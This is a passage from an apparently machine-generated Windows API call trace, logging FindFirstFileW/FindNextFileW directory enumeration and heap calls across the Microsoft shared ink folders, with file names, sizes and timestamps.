cAlternateFileName="")) returned 0x639848 [0244.167] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.167] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0244.167] GetProcessHeap () returned 0x550000 [0244.167] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.178] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.178] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0244.178] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0244.178] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.178] GetProcessHeap () returned 0x550000 [0244.178] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.178] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.7", cAlternateFileName="")) returned 1 [0244.178] GetProcessHeap () returned 0x550000 [0244.178] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.179] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.179] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0244.179] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0244.179] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.179] GetProcessHeap () returned 0x550000 [0244.179] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.179] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.179] GetProcessHeap () returned 0x550000 [0244.179] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101e045, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0244.693] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0244.694] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0244.694] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.695] GetProcessHeap () returned 0x550000 [0244.695] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.695] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0244.695] GetProcessHeap () returned 0x550000 [0244.695] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.696] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.696] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.696] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.696] GetProcessHeap () returned 0x550000 [0244.696] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.696] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aad17fd, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2aad17fd, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0244.696] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56787bbf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56787bbf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x159800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0244.696] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67731975, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x67731975, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x96f16ef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0244.696] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a95f54, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x36a95f54, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x99e8b5f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x151e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa822ba, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xcfa822ba, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xcc41afc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19b39d9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb19b39d9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1a25dfa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2644b3, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2d2644b3, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9b490940, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475edf2f, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x475edf2f, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c6db320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0734e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x53e0734e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c702420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20326ec4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20326ec4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb95fefd0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penchs.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20373182, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20373182, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pencht.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203992e1, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203992e1, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penjpn.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penkor.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb96965b0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penusa.dll", cAlternateFileName="")) returned 1 [0244.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa13b21, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fa13b21, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xba4df950, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fda5c09, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fda5c09, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x6f4de180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.exe", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xbae186c0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipres.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: 